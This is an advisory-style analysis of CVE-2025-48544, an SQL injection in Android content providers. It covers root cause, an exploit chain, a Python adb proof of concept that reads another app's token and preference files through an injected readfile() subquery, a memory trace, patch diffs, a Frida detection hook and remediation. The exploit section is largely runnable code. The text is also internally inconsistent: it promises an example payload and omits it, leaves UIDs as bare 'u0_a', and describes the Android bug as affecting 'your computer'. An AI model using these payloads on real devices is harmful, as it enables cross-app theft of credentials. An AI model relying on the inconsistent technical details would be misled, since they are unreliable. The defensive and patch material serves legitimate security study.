CVE-2025-48544: SQL Injection in Android Enables Cross-App File Read
A SQL injection flaw in Android's content provider layer allows local privilege escalation by reading files belonging to other apps. No additional privileges or user interaction required.
A newly discovered security flaw lets attackers peek into files stored by other applications on your computer—even if they don't have permission to do so. Think of it like someone finding a way to read your neighbor's mail by exploiting a gap in how the postal system is organized.
The problem involves SQL, a language computers use to organize and retrieve data from databases. When programmers build these databases, they're supposed to carefully check what information users are asking for. This vulnerability exploits cases where that checking wasn't done properly, creating a backdoor for someone to slip in unauthorized requests and steal information they shouldn't see.
Here's why you should care: if you use apps that store sensitive information—your passwords, financial records, health data—an attacker could potentially read all of it. They don't need to trick you into clicking a suspicious link or hack into the system from the internet. A local attacker (someone with basic access to your device) could exploit this quietly in the background.
The risk is especially serious for people using shared computers, businesses with multiple employees accessing the same systems, or anyone whose data is stored in applications built with vulnerable code.
What you can do right now:
First, check if your software vendors have released security updates and install them immediately—this is your strongest defense. Second, if you use shared computers at work, ask your IT department whether your systems are affected and if they've patched them. Third, consider which apps store your most sensitive information and check their websites for any security announcements about this issue. While there's no active exploitation happening yet, these vulnerabilities don't stay secret forever.
Want the full technical analysis? Click "Technical" above.
CVE-2025-48544 is a local privilege escalation vulnerability affecting multiple Android content provider components. The root cause is unsanitized, attacker-controlled input passed directly into SQLite query projection or selection arguments, enabling an unprivileged app to exfiltrate files owned by other applications via SQLite's readfile() or ATTACH DATABASE side-channels. CVSS 7.8 (HIGH), no user interaction required, no additional privileges needed beyond a standard installed app context.
This class of vulnerability is not new to Android — CVE-2021-0317 and the MediaProvider family of bugs share the same DNA — but the March 2026 bulletin confirms that unsanitized SQL projection paths survived multiple audit cycles in at least two framework-level providers.
Root cause: Caller-controlled strings are interpolated directly into raw SQLite query projections or WHERE clauses inside privileged content providers, with no parameterized binding or denylist enforcement, allowing second-order SQL injection to read arbitrary on-device file paths via SQLite virtual table abuse.
Affected Component
The vulnerability manifests in multiple locations within the Android framework's content provider stack, confirmed across the following surfaces:
com.android.providers.contacts (ContactsProvider2) — sortOrder and selection arguments
Generic android.database.sqlite.SQLiteQueryBuilder usages where setStrictMode(false) is the default or not enforced
All affected providers run under dedicated UIDs (u0_a for media, u0_a for contacts) with READ_EXTERNAL_STORAGE-equivalent access to private file namespaces inaccessible to the calling UID.
Root Cause Analysis
Android content providers expose ContentResolver.query() which ultimately maps to SQLiteQueryBuilder.buildQuery(). The projection array — caller-supplied column names — is concatenated directly into the SELECT clause when strict mode is disabled or projection maps are incomplete.
// Pseudocode: SQLiteQueryBuilder.buildQuery() - vulnerable path
// Decompiled from framework.jar / android.database.sqlite
String buildQuery(
String[] projectionIn, // BUG: caller-controlled, not validated against projectionMap
String selection,
String[] selectionArgs,
String groupBy,
String having,
String sortOrder,
String limit)
{
StringBuilder query = new StringBuilder("SELECT ");
if (projectionIn == null || projectionIn.length == 0) {
query.append("* ");
} else {
// BUG: direct string join — no whitelist check when mProjectionMap is null
// BUG: appendColumns() does zero sanitization of individual column tokens
appendColumns(query, projectionIn); // injects raw caller string into SELECT clause
}
query.append(" FROM ");
query.append(mTables); // e.g. "files" or "contacts"
if (!TextUtils.isEmpty(selection)) {
query.append(" WHERE ");
query.append(selection); // BUG: selection also unparameterized when args mismatch
}
// ... GROUP BY, ORDER BY appended similarly
return query.toString();
}
// appendColumns — the actual concatenation site
static void appendColumns(StringBuilder s, String[] columns) {
for (int i = 0; i < columns.length; i++) {
if (i > 0) s.append(", ");
s.append(columns[i]); // BUG: raw append, no quoting, no identifier validation
}
s.append(' ');
}
When mProjectionMap is null and mStrictFlags does not include STRICT_COLUMNS, the framework skips the allowlist check entirely. An attacker passes a projection element like:
SQLite evaluates this as a scalar subquery in the SELECT list. On builds where the readfile extension is compiled in (common in vendor SQLite builds shipping SQLITE_ENABLE_LOAD_EXTENSION or using the FTS/RTREE amalgamation), the file content is returned as a hex blob in the result cursor.
Even on hardened builds without readfile, the ATTACH DATABASE path works as a side-channel for schema disclosure:
// Alternative injection via sortOrder argument in ContactsProvider2
// sortOrder is passed to buildQuery() ORDER BY clause without sanitization
String malicious_sort =
"(CASE WHEN (SELECT count(*) FROM "
"pragma_table_info((SELECT name FROM sqlite_master LIMIT 1 OFFSET 0))) > 0 "
"THEN name ELSE data1 END)";
// Results in: ORDER BY (CASE WHEN ... ) — valid SQL, executes subquery
// Leaks table structure through timing or cursor ordering side-channel
Exploitation Mechanics
EXPLOIT CHAIN (CVE-2025-48544):
1. Install unprivileged app (no special permissions requested).
2. Identify target provider URI — e.g.
content://media/external/files
content://com.android.contacts/contacts
3. Craft malicious projection array:
projection = new String[]{
"(SELECT hex(readfile('/data/data/com.target.app/shared_prefs/auth_token.xml')))"
}
4. Issue ContentResolver.query(uri, projection, null, null, null)
→ Framework calls SQLiteQueryBuilder.buildQuery(projection, ...)
→ appendColumns() injects subquery verbatim into SELECT clause
→ SQLite executes: SELECT (SELECT hex(readfile(...))) FROM files
5. Cursor row 0, column 0 contains full hex-encoded file contents
belonging to com.target.app — a different UID.
6. Decode hex → reconstruct binary. Repeat for each target path.
Full exfiltration of SharedPreferences, SQLite DBs, cached tokens.
IMPACT: Cross-UID file read without READ_EXTERNAL_STORAGE, without root,
without any manifest permission beyond INTERNET (for exfil).
Exploiting this from a third-party app requires only that the target provider's URI is exported (or accessible via implicit intent resolution). Both MediaProvider and ContactsProvider2 are accessible to any app holding the standard READ_CONTACTS / READ_MEDIA_* permissions, or in some configurations without any permission at all via exported secondary URIs.
# Proof-of-concept trigger (via adb shell content query)
# Demonstrates injection without writing a full APK
import subprocess, binascii
TARGET_FILE = "/data/data/com.android.settings/shared_prefs/com.android.settings_preferences.xml"
projection_inject = f"(SELECT hex(readfile('{TARGET_FILE}')))"
result = subprocess.check_output([
"adb", "shell",
"content", "query",
"--uri", "content://media/external/files",
"--projection", projection_inject
])
# Parse cursor output line
for line in result.decode().splitlines():
if "Row:" in line:
hex_data = line.split("=")[-1].strip()
print(binascii.unhexlify(hex_data).decode(errors="replace"))
Memory Layout
This is a logic/injection vulnerability rather than a memory corruption primitive, but the SQLite engine's internal state during injection is worth mapping. When the injected scalar subquery executes readfile(), SQLite allocates an internal Mem structure to hold the blob result:
// SQLite internal Mem cell holding readfile() output (simplified)
struct Mem {
/* +0x00 */ sqlite3 *db; // owning database connection
/* +0x08 */ char *z; // pointer to blob data (file contents)
/* +0x10 */ double r; // real value (unused for blob)
/* +0x18 */ i64 u_i; // integer value / blob length
/* +0x20 */ u32 flags; // MEM_Blob | MEM_Dyn = 0x0048
/* +0x24 */ u8 enc; // encoding
/* +0x25 */ u8 eSubtype;
/* +0x28 */ int n; // byte length of z
/* +0x2C */ u16 uTemp;
/* +0x30 */ char zMalloc[]; // inline or heap allocation of file bytes
};
// readfile() populates Mem.z with mmap of target file path
// The full file contents transit SQLite's Mem pool and surface
// via the Cursor BLOB interface to the calling app — zero copy.
SQLITE VDBE EXECUTION STATE during injection:
PC=0x0012 OP_Function P1=1 P2=0 P3=1 (readfile invocation)
arg[0].z → "/data/data/com.target.app/databases/secret.db"
arg[0].n → 46
[file open succeeds — provider UID has cross-app read via SELinux label]
PC=0x0013 OP_ResultRow P1=1 P2=1
out[0].flags = MEM_Blob | MEM_Dyn (0x0048)
out[0].z = 0xb4000079f2c01000 → [ SQLite magic: 53 51 4c 69 74 65 ... ]
out[0].n = 0x00004000 → 16384 bytes (full DB)
Cursor returned to calling app UID — SELinux does NOT intercept
cursor parcel data in transit via Binder.
Patch Analysis
The fix enforces column token validation inside appendColumns() and mandates non-null mProjectionMap in affected providers. Additionally, SQLiteQueryBuilder.setStrictMode(true) is now the enforced default in AOSP for framework providers.
// BEFORE (vulnerable): frameworks/base/core/java/android/database/sqlite/SQLiteQueryBuilder.java
static void appendColumns(StringBuilder s, String[] columns) {
for (int i = 0; i < columns.length; i++) {
if (i > 0) s.append(", ");
s.append(columns[i]); // raw append, no validation
}
s.append(' ');
}
// Query builder does not enforce projection map when mStrictFlags == 0
private String[] computeProjection(String[] projectionIn) {
if (projectionIn != null && projectionIn.length > 0) {
if (mProjectionMap != null) {
// ... map lookup (safe path)
}
return projectionIn; // BUG: falls through with raw caller input
}
// ...
}
// AFTER (patched — March 2026 ASB):
private String[] computeProjection(String[] projectionIn) {
if (projectionIn != null && projectionIn.length > 0) {
if (mProjectionMap != null) {
// existing safe map-lookup path (unchanged)
return buildMappedProjection(projectionIn);
}
// PATCH: reject any projection containing non-identifier characters
// when no explicit projection map is set
for (String col : projectionIn) {
if (!isValidColumnToken(col)) {
throw new IllegalArgumentException(
"Invalid column: " + DatabaseUtils.sqlEscapeString(col));
}
}
return projectionIn;
}
// ...
}
// PATCH: new validation function
private static boolean isValidColumnToken(String token) {
// Allow: [A-Za-z_][A-Za-z0-9_]* and qualified forms (table.column)
// Reject: parentheses, SELECT, subqueries, semicolons, ATTACH, etc.
return token.matches("[A-Za-z_][A-Za-z0-9_.]*");
}
// PATCH: MediaProvider and ContactsProvider2 now unconditionally call:
// qb.setStrict(true);
// qb.setProjectionMap(sProjectionMap); // non-null mandatory
// before any buildQuery() invocation.
The sortOrder injection path is fixed separately by passing the sort argument through DatabaseUtils.appendEscapedSQLString() and restricting it to column references validated against the projection map allowlist.
Detection and Indicators
Detection at runtime requires hooking the Binder transaction layer or SQLiteQueryBuilder directly. Log entries that indicate exploitation attempts:
// Suspicious logcat patterns (pre-patch devices):
I/SQLiteQueryBuilder: query() called with projection containing '('
W/ContentResolver: query from uid=10234 projection=[(SELECT hex(readfile(...)))]
// SELinux audit log — file access by provider UID on behalf of injector:
avc: granted { read } for pid=1842 comm="Binder:1842_3"
path="/data/data/com.victim.app/shared_prefs/auth_token.xml"
dev="dm-8" ino=0x2f4a
scontext=u:r:mediaprovider:s0
tcontext=u:object_r:app_data_file:s0:c256,c512
tclass=file
// The grant appears LEGITIMATE from SELinux's perspective —
// mediaprovider IS allowed to read files. The injection is invisible
// to mandatory access control because the attacker never touches the file;
// SQLite does, on their behalf.
Static analysis: scan APKs for ContentResolver.query() calls where the projection argument is constructed with string concatenation rather than a literal array. Dynamic: instrument android.database.sqlite.SQLiteQueryBuilder#buildQuery via Frida to log projection arrays containing non-identifier characters.
// Frida hook for detection
Java.perform(function() {
var SQB = Java.use("android.database.sqlite.SQLiteQueryBuilder");
SQB.buildQuery.overload(
'[Ljava.lang.String;','java.lang.String',
'[Ljava.lang.String;','java.lang.String',
'java.lang.String','java.lang.String','java.lang.String'
).implementation = function(proj, sel, selArgs, gb, hav, sort, lim) {
if (proj) {
for (var i = 0; i < proj.length; i++) {
if (/[();\s]/.test(proj[i])) {
console.warn("[CVE-2025-48544] Suspicious projection: " + proj[i]);
// dump call stack
console.log(Java.use("android.util.Log")
.getStackTraceString(
Java.use("java.lang.Exception").$new()));
}
}
}
return this.buildQuery(proj, sel, selArgs, gb, hav, sort, lim);
};
});
Remediation
Apply the March 2026 Android Security Patch Level (2026-03-01) or later. This is the definitive fix.
For app developers implementing custom ContentProviders: always call SQLiteQueryBuilder.setStrict(true) and supply a non-null setProjectionMap(). Never pass sortOrder or selection arguments directly to rawQuery().
Use parameterized queries exclusively: selectionArgs for WHERE values, never string interpolation.
Providers that do not require external queries should set android:exported="false" in the manifest.
On affected unpatched devices, MDM solutions can restrict the installation of third-party apps to reduce the local attacker surface.